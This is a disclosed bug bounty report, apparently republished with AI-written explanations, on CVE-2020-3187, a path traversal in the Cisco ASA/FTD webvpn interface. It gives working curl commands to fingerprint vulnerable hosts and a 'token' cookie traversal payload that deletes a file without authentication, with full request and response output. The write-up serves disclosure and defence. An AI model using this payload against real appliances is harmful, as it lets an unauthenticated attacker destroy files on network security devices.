Unauthenticated Arbitrary File Deletion ("CVE-2020-3187") in ████████
A path traversal flaw in Cisco ASA/FTD webvpn interface allowed an unauthenticated attacker to delete arbitrary files by manipulating a cookie token. The attacker could view or delete sensitive files on the system.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 18 days
- Disclosed after 19 days
Description:
A vulnerability in the interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files.
Vulnerable host:
https://██████/
Impact
An exploit could allow the attacker to view or delete arbitrary files on the system.
Step-by-step Reproduction Instructions
- Identifying vulnerable host by send request to
/+CSCOE+/session_password.html.
> curl -skiL "https://██████/+CSCOE+/session_password.html"
GET /+CSCOE+/session_password.html HTTP/1.1
Host: ███████
User-Agent: curl/7.47.0
Accept: */*
If the target is vulnerable, the response header will display webvpn header, like:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Thu, 10 Sep 2020 04:14:27 GMT
X-Frame-Options: SAMEORIGIN
webvpn:
- Perform exploits to delete files by adding
tokenin cookie header request.
For example, I want to delete this (https://████/+CSCOU+/csco_logo.gif) file.
> curl -Ik https://██████████/+CSCOU+/csco_logo.gif
< HTTP/1.1 200 OK
< Content-Type: image/gif
< Content-Length: 2678
< Cache-Control: max-age=6000
< Connection: Keep-Alive
< Date: Thu, 10 Sep 2020 04:19:54 GMT
< X-Frame-Options: SAMEORIGIN
Request:
> curl -skiL "https://███████/+CSCOE+/session_password.html" \
-H "Cookie: token=../+CSCOU+/csco_logo.gif"
GET /+CSCOE+/session_password.html HTTP/1.1
Host: ███████
Cookie: token=../+CSCOU+/csco_logo.gif
User-Agent: curl/7.47.0
Accept: */*
The following response is shown:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Thu, 10 Sep 2020 04:21:02 GMT
X-Frame-Options: SAMEORIGIN
webvpn:
File deleted successfully:
> curl -Ik https://██████████/+CSCOU+/csco_logo.gif
< HTTP/1.1 404 Not Found
< Cache-Control: no-cache
< Pragma: no-cache
< Connection: Close
< Date: Thu, 10 Sep 2020 04:21:20 GMT
< X-Frame-Options: SAMEORIGIN
Suggested Mitigation/Remediation Actions
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43
Impact
An exploit could allow the attacker to view or delete arbitrary files on the system.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the webvpn component failed to sanitise the 'token' cookie value, allowing directory traversal sequences to reach file operations.
What the attacker needed
Target runs vulnerable Cisco ASA/FTD software; No authentication required
The fix
The report links to the Cisco security advisory for remediation details.
How it was found
- Send a request to /+CSCOE+/session_password.html and check for a 'webvpn' response header to confirm the target is vulnerable.
- Request a file such as /+CSCOU+/csco_logo.gif to confirm it exists.
- Send a request to /+CSCOE+/session_password.html with a Cookie header containing a traversal path to the target file.
- Request the same file again and observe a 404 Not Found, confirming deletion.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a path traversal bug. The web server takes a file path from a cookie and uses it without checking that it stays inside the intended folder. By putting '../' in the cookie, an attacker can make the server delete files outside that folder, even without logging in.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.